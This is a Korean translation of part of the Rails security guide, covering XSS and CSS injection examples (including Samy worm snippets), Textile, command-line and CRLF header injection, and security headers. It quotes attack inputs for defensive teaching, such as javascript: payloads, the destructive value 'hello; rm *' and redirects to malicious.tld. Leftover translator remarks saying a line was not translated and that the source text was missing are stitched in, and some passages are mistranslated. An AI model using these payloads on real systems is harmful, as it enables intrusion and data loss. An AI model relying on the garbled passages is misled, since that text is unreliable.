<img src=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;
  &#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>

HTML escape code가 포함된 이미지 태그입니다.

이 예제는 메시지 박스를 띄웁니다. 하지만 위의 sanitize() 필터로 인식됩니다. 문자열을 난독화하고 인코딩하는데 유용한 도구이자 "적을 알기 위한" 좋은 도구는 Hackvertor입니다. Rails의 sanitize() 메서드는 인코딩 공격을 막는데 좋은 역할을 합니다.

6.3.3 실제 사례들

오늘날의 웹 애플리케이션 공격을 이해하기 위해서는 실제 공격 벡터들을 살펴보는 것이 가장 좋습니다.

다음은 Js.Yamanner@m Yahoo! Mail 웜의 발췌문입니다. 2006년 6월 11일에 등장했으며 최초의 웹메일 인터페이스 웜이었습니다:

<img src='http://us.i1.yimg.com/us.yimg.com/i/us/nt/ma/ma_mail_1.gif'
  target=""onload="var http_request = false;    var Email = '';
  var IDList = '';   var CRumb = '';   function makeRequest(url, Func, Method,Param) { ...

웜은 Yahoo의 HTML/JavaScript 필터의 취약점을 악용합니다. 이 필터는 일반적으로 태그의 모든 target과 onload 속성을 필터링합니다(JavaScript가 포함될 수 있기 때문에). 하지만 필터는 한 번만 적용되므로 웜 코드가 포함된 onload 속성은 그대로 남아있게 됩니다. 이는 제한된 목록 필터가 절대 완벽할 수 없으며 웹 애플리케이션에서 HTML/JavaScript를 허용하는 것이 왜 어려운지를 보여주는 좋은 예시입니다.

또 다른 개념 증명 웹메일 웜은 Nduja로, 이탈리아의 4개 웹메일 서비스를 대상으로 한 크로스 도메인 웜입니다. 자세한 내용은 Rosario Valotta의 논문에서 확인할 수 있습니다. 두 웹메일 웜 모두 범죄형 해커가 돈을 벌 수 있는 이메일 주소를 수집하는 것이 목적이었습니다.

2006년 12월, MySpace 피싱 공격으로 34,000개의 실제 사용자 이름과 비밀번호가 도난당했습니다. 이 공격의 아이디어는 "login_home_index_html"이라는 프로필 페이지를 만들어 URL이 매우 신뢰할 만하게 보이도록 하는 것이었습니다. 특별히 제작된 HTML과 CSS를 사용하여 페이지에서 진짜 MySpace 콘텐츠를 숨기고 대신 자체 로그인 폼을 표시했습니다.

6.4 CSS Injection

CSS Injection은 실제로 JavaScript injection입니다. 일부 브라우저(IE, Safari의 일부 버전 및 기타)가 CSS 내에서 JavaScript를 허용하기 때문입니다. 웹 애플리케이션에서 사용자 정의 CSS를 허용하는 것에 대해 신중히 고려하세요.

CSS Injection은 잘 알려진 MySpace Samy worm으로 가장 잘 설명됩니다. 이 웜은 단순히 공격자인 Samy의 프로필을 방문하는 것만으로도 자동으로 친구 요청을 보냈습니다. 몇 시간 만에 100만 건 이상의 친구 요청을 받았고, 이로 인해 발생한 트래픽으로 MySpace가 오프라인 상태가 되었습니다. 다음은 이 웜에 대한 기술적 설명입니다.

MySpace는 많은 태그를 차단했지만 CSS는 허용했습니다. 그래서 웜 제작자는 다음과 같이 CSS에 JavaScript를 삽입했습니다:

<div style="background:url('javascript:alert(1)')">

따라서 payload는 style 속성에 있습니다. 하지만 single quotes와 double quotes가 이미 사용되었기 때문에 payload에서는 quotes를 사용할 수 없습니다. 하지만 JavaScript에는 문자열을 코드로 실행하는 유용한 eval() 함수가 있습니다.

<div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')">

eval() 함수는 제한된 목록 입력 필터에서는 악몽과 같습니다. style 속성에서 "innerHTML" 단어를 숨길 수 있기 때문입니다.

alert(eval('document.body.inne' + 'rHTML'));

이 줄은 그대로 두어야 하므로 번역하지 않았습니다.

다음 문제는 MySpace가 "javascript" 단어를 필터링하는 것이었습니다. 그래서 작성자는 이를 우회하기 위해 "java<NEWLINE>script"를 사용했습니다:

<div id="mycode" expr="alert('hah!')" style="background:url('java↵script:eval(document.all.mycode.expr)')">

웜 제작자가 직면한 또 다른 문제는 CSRF 보안 토큰이었습니다. 이 토큰이 없으면 POST로 친구 요청을 보낼 수 없었습니다. 그는 사용자를 추가하기 직전에 해당 페이지로 GET 요청을 보내서 결과에서 CSRF 토큰을 파싱하는 방식으로 이 문제를 우회했습니다.

결국, 그는 4 KB 크기의 웜을 만들어 자신의 프로필 페이지에 주입했습니다.

moz-binding CSS 속성은 Gecko 기반 브라우저(예: Firefox)에서 CSS에 JavaScript를 주입할 수 있는 또 다른 방법으로 밝혀졌습니다.

6.4.1 대응 방안

이 예시는 다시 한 번 제한된 목록 필터가 절대 완벽할 수 없다는 것을 보여줍니다. 하지만 웹 애플리케이션에서 커스텀 CSS는 매우 드문 기능이기 때문에, 적절한 허용 CSS 필터를 찾기 어려울 수 있습니다. 사용자 정의 색상이나 이미지를 허용하고 싶다면, 사용자가 이를 선택하게 하고 웹 애플리케이션에서 CSS를 구성하도록 할 수 있습니다. 만약 정말 CSS 필터가 필요하다면 Rails의 sanitize() 메소드를 허용된 CSS 필터의 모델로 사용하세요.

6.5 Textile Injection

만약 HTML 이외의 텍스트 포맷팅을 제공하고 싶다면(보안상의 이유로), 서버 사이드에서 HTML로 변환되는 마크업 언어를 사용하세요. RedCloth는 Ruby를 위한 그러한 언어이지만, 주의사항이 없다면 이 또한 XSS에 취약합니다.

예를 들어, RedCloth는 _test_<em>test<em>로 변환하여 텍스트를 이탤릭체로 만듭니다. 하지만 RedCloth는 기본적으로 안전하지 않은 html 태그를 필터링하지 않습니다:

RedCloth.new("<script>alert(1)</script>").to_html
# => "<script>alert(1)</script>"

HTML 프로세서가 생성하지 않은 HTML을 제거하려면 :filter_html 옵션을 사용하세요.

RedCloth.new("<script>alert(1)</script>", [:filter_html]).to_html
# => "alert(1)"

그러나 이것은 모든 HTML을 필터링하지는 않으며, 몇몇 태그들(의도적으로)은 남겨집니다. 예를 들어 <a>:

RedCloth.new("<a href='javascript:alert(1)'>hello</a>", [:filter_html]).to_html
# => "<p><a href="javascript:alert(1)">hello</a></p>"

6.5.1 대응책

XSS 대응책 섹션에서 설명한 것처럼 허용된 입력 필터와 함께 RedCloth를 사용하는 것을 권장합니다.

6.6 Ajax Injection

Ajax 액션에 대해서도 "일반" 액션과 동일한 보안 예방 조치를 취해야 합니다. 하지만 최소한 하나의 예외가 있습니다: 액션이 view를 렌더링하지 않는 경우에는 컨트롤러에서 이미 출력을 이스케이프해야 합니다.

in_place_editor plugin을 사용하거나 view를 렌더링하지 않고 문자열을 반환하는 액션을 사용하는 경우, 액션에서 반환값을 이스케이프해야 합니다. 그렇지 않으면, 반환값에 XSS 문자열이 포함되어 있을 경우 브라우저로 반환될 때 악성 코드가 실행될 것입니다. h() 메서드를 사용하여 모든 입력값을 이스케이프하세요.

6.7 Command Line Injection

사용자가 제공한 command line 파라미터를 사용할 때는 주의하세요.

애플리케이션이 기반 운영 체제에서 명령을 실행해야 하는 경우, Ruby에는 몇 가지 메서드가 있습니다: system(command), exec(command), spawn(command) 그리고 `command`. 사용자가 전체 명령어나 그 일부를 입력할 수 있는 경우 이러한 함수들을 사용할 때 특별히 주의해야 합니다. 이는 대부분의 shell에서 세미콜론(;) 또는 수직 막대(|)를 사용하여 첫 번째 명령어 끝에 다른 명령어를 연결하여 실행할 수 있기 때문입니다.

user_input = "hello; rm *" 
system("/bin/echo #{user_input}")
# "hello"를 출력하고, 현재 디렉토리의 파일들을 삭제합니다

명령줄 파라미터를 안전하게 전달하는 system(command, parameters) 메서드를 사용하는 것이 대응책입니다.

system("/bin/echo", "hello; rm *")
# "hello; rm *"를 출력하고 파일을 삭제하지 않습니다

6.7.1 Kernel#open의 취약점

Kernel#open은 인자가 vertical bar(|)로 시작하면 OS 명령어를 실행합니다.

open("| ls") { |file| file.read }
# `ls` 명령어를 통해 파일 목록을 String으로 반환합니다

대응 방안으로는 File.open, IO.open 또는 URI#open을 대신 사용하는 것입니다. 이들은 OS 명령어를 실행하지 않습니다.

File.open("| ls") { |file| file.read }
# `ls` 명령어를 실행하지 않고, `| ls` 파일이 존재하는 경우 해당 파일을 엽니다

IO.open(0) { |file| file.read }
# stdin을 엽니다. 인자로 String을 받지 않습니다 

require "open-uri"
URI("https://example.com").open { |file| file.read }
# URI를 엽니다. `URI()`는 `| ls`를 받지 않습니다

6.8 Header Injection

HTTP 헤더는 동적으로 생성되며 특정 상황에서 사용자 입력이 주입될 수 있습니다. 이는 잘못된 리다이렉션, XSS, HTTP 응답 분할로 이어질 수 있습니다.

HTTP 요청 헤더에는 Referer, User-Agent(클라이언트 소프트웨어), Cookie 필드 등이 있습니다. 응답 헤더에는 상태 코드, Cookie, Location(리다이렉션 대상 URL) 필드 등이 있습니다. 이들 모두는 사용자가 제공하며 어느 정도의 노력으로 조작될 수 있습니다. 이러한 헤더 필드도 이스케이프하는 것을 잊지 마세요. 예를 들어 관리자 영역에서 user agent를 표시할 때가 있습니다.

또한, 사용자 입력을 기반으로 응답 헤더를 구성할 때 무엇을 하고 있는지 아는 것이 중요합니다. 예를 들어 사용자를 특정 페이지로 다시 리다이렉션하려고 할 때입니다. 이를 위해 주어진 주소로 리다이렉션하기 위한 "referer" 필드를 폼에 도입했습니다:

redirect_to params[:referer]

변수 값이 사용자의 입력값일 때는 절대로 직접 redirect_to에 전달하지 마세요! 이렇게 하면 공격자가 사용자를 자신의 사이트로 리디렉션하여 자격 증명을 훔칠 수 있는 보안 위험이 발생합니다. 항상 결과를 검증하거나 안전한 대상으로 리디렉션하세요. 리디렉션 대상을 필터링하기 위해선 전용 메서드를 생성하는 것이 가장 좋습니다.

Rails는 문자열을 Location 헤더 필드에 넣고 302(리다이렉트) 상태를 브라우저로 전송합니다. 악의적인 사용자가 처음으로 할 수 있는 것은 다음과 같습니다:

http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld

그리고 버전 2.1.2까지의 (Ruby와) Rails의 버그로 인해(2.1.2 버전 제외), 해커가 임의의 header fields를 주입할 수 있습니다. 예를 들면 다음과 같습니다:

http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld%0d%0aX-Header:+Hi!
http://www.yourapplication.com/controller/action?referer=path/at/your/app%0d%0aLocation:+http://www.malicious.tld

%0d%0a는 Ruby에서 캐리지 리턴과 라인 피드(CRLF)를 의미하는 \r\n의 URL 인코딩된 형태입니다. 따라서 두 번째 예제의 HTTP 헤더는 두 번째 Location 헤더 필드가 첫 번째를 덮어쓰기 때문에 다음과 같이 됩니다.

HTTP/1.1 302 임시 이동됨
(...)
Location: http://www.malicious.tld

DNS 리바인딩과 다른 Host 헤더 공격으로부터 보호하기 위해서는 ActionDispatch::HostAuthorization 미들웨어를 사용하는 것이 권장됩니다. development 환경에서는 기본적으로 활성화되어 있으며, production과 다른 환경에서는 허용된 호스트 목록을 설정하여 활성화해야 합니다. 예외를 구성하고 자체 response app을 설정할 수도 있습니다.

따라서 Header Injection의 공격 벡터는 헤더 필드에 CRLF 문자를 주입하는 것을 기반으로 합니다. 그리고 공격자가 잘못된 리다이렉션으로 무엇을 할 수 있을까요? 당신의 사이트와 동일하게 보이는 피싱 사이트로 리다이렉트하여 다시 로그인하도록 요청할 수 있습니다(그리고 로그인 자격 증명을 공격자에게 전송합니다). 또는 해당 사이트의 브라우저 보안 취약점을 통해 악성 소프트웨어를 설치할 수 있습니다. Rails 2.1.2는 redirect_to 메서드의 Location 필드에서 이러한 문자를 이스케이프합니다. 사용자 입력으로 다른 헤더 필드를 구축할 때 직접 이스케이프 처리를 하도록 하세요.

6.8.1 DNS 리바인딩과 Host 헤더 공격

DNS 리바인딩은 일반적으로 컴퓨터 공격의 한 형태로 사용되는 도메인 이름 해석을 조작하는 방법입니다. DNS 리바인딩은 Domain Name System (DNS)를 악용하여 same-origin 정책을 우회합니다. 도메인을 다른 IP 주소로 리바인딩한 다음, 변경된 IP 주소에서 Rails 앱에 대해 임의의 코드를 실행하여 시스템을 손상시킵니다.

Rails.application.config.hosts << "product.com"

Rails.application.config.host_authorization = {
  # /healthcheck/ 경로에 대한 요청을 host 체크에서 제외
  exclude: ->(request) { request.path.include?("healthcheck") },
  # 응답을 위한 custom Rack application 추가
  response_app: -> env do
    [400, { "Content-Type" => "text/plain" }, ["Bad Request"]]
  end
}

ActionDispatch::HostAuthorization 미들웨어 문서에서 더 자세히 알아볼 수 있습니다.

6.8.2 Response Splitting

Header Injection이 가능하다면 Response Splitting도 가능할 수 있습니다. HTTP에서 헤더 블록 다음에는 두 개의 CRLF와 실제 데이터(보통 HTML)가 따라옵니다. Response Splitting의 아이디어는 헤더 필드에 두 개의 CRLF를 주입하고, 악의적인 HTML이 포함된 또 다른 응답을 뒤에 붙이는 것입니다. 응답은 다음과 같을 것입니다:

HTTP/1.1 302 Found [첫번째 표준 302 응답]
Date: Tue, 12 Apr 2005 22:09:07 GMT
Location:Content-Type: text/html


HTTP/1.1 200 OK [공격자가 생성한 두번째 새로운 응답이 시작됨]
Content-Type: text/html


&lt;html&gt;&lt;font color=red&gt;hey&lt;/font&gt;&lt;/html&gt; [리다이렉트된 페이지로
Keep-Alive: timeout=15, max=100         임의의 악의적인 입력이 표시됨]
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html

특정 상황에서는 피해자에게 악의적인 HTML이 제시될 수 있습니다. 하지만 이는 Keep-Alive 연결에서만 작동하는 것으로 보입니다(많은 브라우저가 일회성 연결을 사용하고 있음). 하지만 이를 신뢰할 수는 없습니다. 어떤 경우든 이는 심각한 버그이며, Header Injection(따라서 응답 분할) 위험을 제거하기 위해 Rails를 버전 2.0.5 또는 2.1.2로 업데이트해야 합니다.

7 안전하지 않은 쿼리 생성

Rack이 쿼리 파라미터를 파싱하는 방식과 결합된 Active Record가 파라미터를 해석하는 방식으로 인해, IS NULL where 절이 있는 예기치 않은 데이터베이스 쿼리를 실행하는 것이 가능했습니다. 이 보안 이슈에 대한 대응으로(CVE-2012-2660, CVE-2012-2694CVE-2013-0155) deep_munge 메서드가 기본적으로 Rails를 안전하게 유지하기 위한 해결책으로 도입되었습니다.

deep_munge가 수행되지 않았을 경우 공격자가 사용할 수 있는 취약한 코드의 예시:

unless params[:token].nil?
  user = User.find_by_token(params[:token])
  user.reset_password!
end

token 매개변수가 nil이 아닌 경우, token으로 사용자를 찾아서 사용자의 비밀번호를 재설정합니다.

params[:token][nil], [nil, nil, ...] 또는 ['foo', nil] 중 하나인 경우, nil에 대한 테스트는 우회하지만 SQL 쿼리에는 여전히 IS NULL 또는 IN ('foo', NULL) where 절이 추가됩니다.

기본적으로 Rails의 보안을 유지하기 위해 deep_munge는 일부 값을 nil로 대체합니다. 아래 표는 요청으로 전송된 JSON을 기반으로 파라미터가 어떻게 보이는지 보여줍니다:

JSON Parameters
{ "person": null } { :person => nil }
{ "person": [] } { :person => [] }
{ "person": [null] } { :person => [] }
{ "person": [null, null, ...] } { :person => [] }
{ "person": ["foo", null] } { :person => ["foo"] }

위험을 인지하고 이를 처리하는 방법을 알고 있다면, 애플리케이션 설정을 통해 이전 동작으로 되돌리고 deep_munge를 비활성화할 수 있습니다:

config.action_dispatch.perform_deep_munge = false

이 설정은 parameter의 deep munging을 비활성화합니다. deep munging은 빈 배열을 nil로 변환하는 과정입니다.

빈 배열을 처리하는 방법에 대한 자세한 내용은 보안 가이드를 참조하세요.

8 HTTP 보안 헤더

애플리케이션의 보안을 향상시키기 위해, Rails는 HTTP 보안 헤더를 반환하도록 설정할 수 있습니다. 일부 헤더는 기본적으로 설정되어 있고, 다른 일부는 명시적으로 설정해야 합니다.

8.1 기본 보안 헤더

기본적으로 Rails는 다음과 같은 응답 헤더를 반환하도록 구성되어 있습니다. 애플리케이션은 모든 HTTP 응답에 대해 이러한 헤더들을 반환합니다.

8.1.1 X-Frame-Options

X-Frame-Options 헤더는 브라우저가 페이지를 <frame>, <iframe>, <embed> 또는 <object> 태그에서 렌더링할 수 있는지를 나타냅니다. 이 헤더는 기본적으로 SAMEORIGIN으로 설정되어 동일 도메인에서만 프레이밍을 허용합니다. 모든 프레이밍을 거부하려면 DENY로 설정하거나, 모든 도메인에서 프레이밍을 허용하려면 이 헤더를 완전히 제거하세요.

8.1.2 X-XSS-Protection

사용이 중단된 레거시 헤더로, Rails에서는 문제가 있는 레거시 XSS 감사기를 비활성화하기 위해 기본값이 0으로 설정되어 있습니다.

8.1.3 X-Content-Type-Options

X-Content-Type-Options 헤더는 Rails에서 기본적으로 nosniff로 설정됩니다. 이는 브라우저가 파일의 MIME 타입을 추측하는 것을 방지합니다.

8.1.4 X-Permitted-Cross-Domain-Policies

이 헤더는 Rails에서 기본적으로 none으로 설정됩니다. Adobe Flash와 PDF 클라이언트가 다른 도메인에서 페이지를 임베딩하는 것을 허용하지 않습니다.

8.1.5 Referrer-Policy

Referrer-Policy 헤더는 Rails에서 기본적으로 strict-origin-when-cross-origin으로 설정됩니다. 크로스 오리진 요청의 경우, Referer 헤더에 오리진만 전송합니다. 이는 전체 URL의 다른 부분(경로나 쿼리 문자열 등)에서 접근 가능할 수 있는 개인 데이터의 유출을 방지합니다.

8.1.6 기본 헤더 구성하기

이러한 헤더들은 기본적으로 다음과 같이 구성되어 있습니다:

config.action_dispatch.default_headers = {
  "X-Frame-Options" => "SAMEORIGIN",
  "X-XSS-Protection" => "0", 
  "X-Content-Type-Options" => "nosniff",
  "X-Permitted-Cross-Domain-Policies" => "none",
  "Referrer-Policy" => "strict-origin-when-cross-origin"
}

config/application.rb에서 이러한 헤더들을 오버라이드하거나 추가 헤더를 설정할 수 있습니다:

config.action_dispatch.default_headers["X-Frame-Options"] = "DENY"
config.action_dispatch.default_headers["Header-Name"]     = "Value"

HTTP 헤더의 기본 설정을 오버라이드합니다. 기본값은 다음과 같습니다:

또는 제거할 수 있습니다:

config.action_dispatch.default_headers.clear

default header를 모두 제거합니다.

8.2 Strict-Transport-Security 헤더

HTTP Strict-Transport-Security (HSTS) response 헤더는 현재와 향후의 연결에 대해 브라우저가 자동으로 HTTPS로 업그레이드하도록 보장합니다.

force_ssl 옵션을 활성화하면 이 헤더가 response에 추가됩니다:

config.force_ssl = true

HTTP의 모든 접근을 HTTPS로 강제 리디렉션하고 모든 response에 secure flag를 설정한 cookie를 포함시킵니다.

8.3 Content-Security-Policy 헤더

XSS와 인젝션 공격으로부터 보호하기 위해, 애플리케이션에 [Content-Security-Policy][] 응답 헤더를 정의하는 것이 권장됩니다. Rails는 헤더를 설정할 수 있는 DSL을 제공합니다.

적절한 initializer에서 보안 정책을 정의하세요:

# config/initializers/content_security_policy.rb
Rails.application.config.content_security_policy do |policy|
  policy.default_src :self, :https
  policy.font_src    :self, :https, :data
  policy.img_src     :self, :https, :data
  policy.object_src  :none
  policy.script_src  :self, :https
  policy.style_src   :self, :https
  # 위반 보고를 위한 URI 지정
  policy.report_uri "/csp-violation-report-endpoint"
end

전역으로 설정된 policy는 리소스별로 재정의할 수 있습니다:

class PostsController < ApplicationController
  content_security_policy do |policy|
    policy.upgrade_insecure_requests true 
    policy.base_uri "https://www.example.com"
  end
end

또는 다음과 같이 비활성화할 수 있습니다:

class LegacyPagesController < ApplicationController
  content_security_policy false, only: :index
end

이 예제는 특정 action에 대해 Content Security Policy를 비활성화합니다.

lambda를 사용하여 multi-tenant 어플리케이션의 account subdomain과 같은 요청별 값을 주입할 수 있습니다:

class PostsController < ApplicationController
  content_security_policy do |policy|
    policy.base_uri :self, -> { "https://#{current_user.domain}.example.com" }
  end
end

8.3.1 Violations 보고하기

[report-uri][] 지시문을 활성화하여 지정된 URI로 violations를 보고할 수 있습니다:

Rails.application.config.content_security_policy do |policy|
  policy.report_uri "/csp-violation-report-endpoint"
end

레거시 콘텐츠를 마이그레이션할 때, 정책을 강제하지 않고 위반 사항만 보고하고 싶을 수 있습니다. [Content-Security-Policy-Report-Only][] response header를 설정하면 위반 사항만 보고할 수 있습니다:

Rails.application.config.content_security_policy_report_only = true

report-only 모드로 설정하면, policy는 강제되지 않지만 위반 사항들은 report 됩니다. 이는 새로운 policy를 배포하기 전에 테스트할 때 유용합니다.

또는 controller에서 재정의하세요:

class PostsController < ApplicationController
  content_security_policy_report_only only: :index
end

8.3.2 Nonce 추가하기

만약 'unsafe-inline'을 고려하고 계시다면, 대신 nonce를 사용하는 것을 고려해보세요. 기존 코드 상단에 Content Security Policy를 구현할 때 'unsafe-inline'보다 nonce가 상당한 개선을 제공합니다.

# config/initializers/content_security_policy.rb
Rails.application.config.content_security_policy do |policy|
  policy.script_src :self, :https
end

Rails.application.config.content_security_policy_nonce_generator = -> request { SecureRandom.base64(16) }

nonce 생성기를 설정할 때 고려해야 할 몇 가지 상충점이 있습니다. SecureRandom.base64(16)는 각 요청마다 새로운 랜덤 nonce를 생성하기 때문에 좋은 기본값입니다. 하나의 단점은 conditional GET 캐싱과 호환되지 않는다는 것입니다. 새로운 nonce가 매 요청마다 새로운 ETag 값을 생성하기 때문입니다. 요청별 랜덤 nonce의 대안으로 session id를 사용할 수 있습니다:

Rails.application.config.content_security_policy_nonce_generator = -> request { request.session.id.to_s }

이 코드는 Content Security Policy nonce를 session ID로 생성하는 예시입니다. session ID는 고유하긴 하지만, 여러 요청에서 재사용될 수 있으므로 진정한 nonce로 간주되지 않습니다.

이 생성 메서드는 ETag와 호환되지만, 그 보안성은 session id가 충분히 무작위적이고 안전하지 않은 쿠키에 노출되지 않는 것에 달려있습니다.

기본적으로 nonce generator가 정의되어 있다면 nonce는 script-srcstyle-src에 적용됩니다. config.content_security_policy_nonce_directives를 사용하여 어떤 directive가 nonce를 사용할지 변경할 수 있습니다:

Rails.application.config.content_security_policy_nonce_directives = %w(script-src)

이 코드는 nonce를 사용할 Content Security Policy directive를 script-src로 설정합니다.

일단 initializer에서 nonce 생성이 설정되면, script 태그에 자동 nonce 값을 추가할 수 있습니다. html_options의 일부로 nonce: true를 전달하면 됩니다:

<%= javascript_tag nonce: true do -%>
  alert('Hello, World!');
<% end -%>

javascript_include_tagstylesheet_link_tag에서도 동일하게 작동합니다:

<%= javascript_include_tag "script", nonce: true %>
<%= stylesheet_link_tag "style.css", nonce: true %>

csp_meta_tag 헬퍼를 사용하여 인라인 <script> 태그를 허용하기 위한 세션별 nonce 값이 포함된 "csp-nonce" 메타 태그를 생성할 수 있습니다.

<head>
  <%= csp_meta_tag %>
</head>

Rails UJS 헬퍼가 동적으로 로드되는 인라인 <script> 요소를 생성하기 위해 사용됩니다.

8.4 Feature-Policy 헤더

Feature-Policy 헤더는 Permissions-Policy로 이름이 변경되었습니다. Permissions-Policy는 다른 구현이 필요하고 아직 모든 브라우저에서 지원되지 않습니다. 나중에 이 미들웨어의 이름을 변경해야 하는 것을 피하기 위해, 우리는 새로운 이름을 미들웨어에 사용하지만 당분간은 기존 헤더 이름과 구현을 유지합니다.

브라우저 기능의 사용을 허용하거나 차단하기 위해, 애플리케이션에 [Feature-Policy][] 응답 헤더를 정의할 수 있습니다. Rails는 헤더를 구성할 수 있는 DSL을 제공합니다.

적절한 initializer에서 정책을 정의하세요:

# config/initializers/permissions_policy.rb
Rails.application.config.permissions_policy do |policy|
  policy.camera      :none          # 카메라 접근 허용하지 않음
  policy.gyroscope   :none          # 자이로스코프 센서 접근 허용하지 않음
  policy.microphone  :none          # 마이크로폰 접근 허용하지 않음  
  policy.usb         :none          # USB 접근 허용하지 않음
  policy.fullscreen  :self          # 전체화면 모드는 현재 사이트에서만 허용
  policy.payment     :self, "https://secure.example.com"  # 결제는 현재 사이트와 지정된 도메인에서만 허용
end

전역으로 설정된 policy는 resource 단위로 재정의할 수 있습니다:

class PagesController < ApplicationController
  permissions_policy do |policy|
    policy.geolocation "https://example.com"
  end
end

미완성 번역입니다. 원본 텍스트가 제공되지 않아 번역할 수 없습니다.

링크만 있는 상태에서는 번역할 내용이 없습니다. Rails 가이드 문서의 실제 내용을 제공해주시면 번역해드리겠습니다.

8.5 Cross-Origin Resource Sharing

브라우저는 스크립트에서 시작된 cross-origin HTTP 요청을 제한합니다. Rails를 API로 실행하고 별도의 도메인에서 frontend 앱을 실행하려면 Cross-Origin Resource Sharing (CORS)를 활성화해야 합니다.

CORS를 처리하기 위해 Rack CORS middleware를 사용할 수 있습니다. --api 옵션으로 애플리케이션을 생성했다면, Rack CORS가 이미 구성되어 있을 수 있으므로 다음 단계를 건너뛸 수 있습니다.

시작하려면 Gemfile에 rack-cors gem을 추가하세요:

gem "rack-cors"

다음으로, middleware를 설정하기 위한 initializer를 추가하세요:

# config/initializers/cors.rb
Rails.application.config.middleware.insert_before 0, Rack::Cors do
  allow do
    origins "example.com" #출처 도메인 설정

    resource "*", # 모든 리소스에 대해
      headers: :any, # 모든 헤더 허용
      methods: [:get, :post, :put, :patch, :delete, :options, :head] # 허용할 HTTP 메서드
  end
end

9 Intranet과 Admin 보안

Intranet과 관리자 인터페이스는 권한이 있는 접근을 허용하기 때문에 인기 있는 공격 대상입니다. 이는 몇 가지 추가 보안 조치를 필요로 하지만, 실제로는 그 반대인 경우가 많습니다.

2007년에는 Intranet에서 정보를 훔치는 최초의 맞춤형 trojan이 등장했는데, 이는 온라인 채용 웹 애플리케이션인 Monster.com의 "Monster for employers" 웹사이트를 대상으로 했습니다. 맞춤형 Trojan은 현재까지는 매우 드물고 위험도 꽤 낮지만, 이는 분명히 가능성이 있으며 클라이언트 호스트의 보안이 얼마나 중요한지를 보여주는 예시입니다. 하지만 Intranet과 Admin 애플리케이션에 대한 가장 큰 위협은 XSS와 CSRF입니다.

9.1 Cross-Site Scripting

만약 애플리케이션이 외부 네트워크로부터 받은 악의적인 사용자 입력을 재표시한다면, 해당 애플리케이션은 XSS에 취약할 수 있습니다. 사용자 이름, 댓글, 스팸 신고, 주문 주소 등은 XSS가 발생할 수 있는 흔하지 않은 예시들입니다.

admin 인터페이스나 인트라넷에서 단 하나의 입력값이라도 sanitize되지 않은 곳이 있다면, 전체 애플리케이션이 취약해질 수 있습니다. 가능한 공격 방법으로는 관리자의 쿠키 탈취, 관리자의 비밀번호를 탈취하기 위한 iframe 주입, 또는 브라우저 보안 취약점을 통해 관리자의 컴퓨터를 장악하기 위한 악성 소프트웨어 설치 등이 있습니다.

XSS에 대한 대응 방안은 Injection 섹션을 참조하십시오.

9.2 Cross-Site Request Forgery

Cross-Site Request Forgery (CSRF), 또는 Cross-Site Reference Forgery (XSRF)라고도 알려진 이 공격은 거대한 공격 방식으로, 공격자가 관리자나 인트라넷 사용자가 할 수 있는 모든 것을 할 수 있게 합니다. 위에서 CSRF가 어떻게 작동하는지 이미 보셨듯이, 여기 공격자들이 인트라넷이나 관리자 인터페이스에서 할 수 있는 몇 가지 예시가 있습니다.

실제 사례로는 CSRF를 통한 라우터 재설정이 있습니다. 공격자들은 CSRF가 포함된 악성 이메일을 멕시코 사용자들에게 보냈습니다. 이메일에는 e-카드가 기다리고 있다고 주장했지만, 사용자의 라우터(멕시코에서 인기 있는 모델)를 재설정하는 HTTP-GET 요청을 유발하는 이미지 태그도 포함되어 있었습니다. 이 요청은 DNS 설정을 변경하여 멕시코 기반 은행 사이트로의 요청이 공격자의 사이트로 연결되도록 했습니다. 해당 라우터를 통해 은행 사이트에 접속한 모든 사람들은 공격자의 가짜 웹사이트를 보게 되었고 그들의 인증 정보를 도난당했습니다.

다른 예시로는 Google Adsense의 이메일 주소와 비밀번호를 변경하는 것입니다. 만약 피해자가 Google 광고 캠페인의 관리 인터페이스인 Google Adsense에 로그인되어 있었다면, 공격자는 피해자의 인증 정보를 변경할 수 있었습니다.

또 다른 인기 있는 공격은 악성 XSS를 전파하기 위해 웹 애플리케이션, 블로그, 또는 포럼을 스팸으로 채우는 것입니다. 물론 공격자는 URL 구조를 알아야 하지만, 대부분의 Rails URL은 꽤 단순하거나, 오픈소스 애플리케이션의 관리자 인터페이스인 경우 쉽게 알아낼 수 있습니다. 공격자는 가능한 모든 조합을 시도하는 악성 IMG 태그를 포함시켜 1,000번의 행운의 추측을 할 수도 있습니다.

관리자 인터페이스와 인트라넷 애플리케이션에서의 CSRF 대응책은 CSRF 섹션의 대응책을 참조하세요.

9.3 추가 주의사항

일반적인 admin 인터페이스는 다음과 같이 작동합니다: www.example.com/admin에 위치하고, User 모델에서 admin 플래그가 설정된 경우에만 접근할 수 있으며, 사용자 입력을 다시 표시하고 admin이 원하는 데이터를 삭제/추가/수정할 수 있습니다. 이에 대한 몇 가지 생각은 다음과 같습니다:

  • 최악의 경우를 생각하는 것이 매우 중요합니다: 누군가가 실제로 쿠키나 사용자 자격 증명을 획득했다면 어떻게 될까요. admin 인터페이스에 역할을 도입하여 공격자의 가능성을 제한할 수 있습니다. 또는 애플리케이션의 공개 부분에 사용되는 것과 다른 admin 인터페이스용 특별한 로그인 자격 증명은 어떨까요? 또는 매우 중요한 작업을 위한 특별한 비밀번호는 어떨까요?

  • admin이 정말로 전 세계 어디서나 인터페이스에 접근해야 할까요? 로그인을 특정 소스 IP 주소들로 제한하는 것을 고려해보세요. request.remote_ip를 검사하여 사용자의 IP 주소를 확인하세요. 이것이 완벽하지는 않지만 훌륭한 장벽이 됩니다. 프록시가 사용될 수 있다는 점을 기억하세요.

  • admin 인터페이스를 admin.application.com과 같은 특별한 서브도메인에 두고 자체 사용자 관리가 있는 별도의 애플리케이션으로 만드세요. 이렇게 하면 일반 도메인인 www.application.com에서 admin 쿠키를 도용하는 것이 불가능해집니다. 이는 브라우저의 동일 출처 정책 때문입니다: www.application.com에 주입된(XSS) 스크립트는 admin.application.com의 쿠키를 읽을 수 없으며 그 반대도 마찬가지입니다.

10 환경 보안

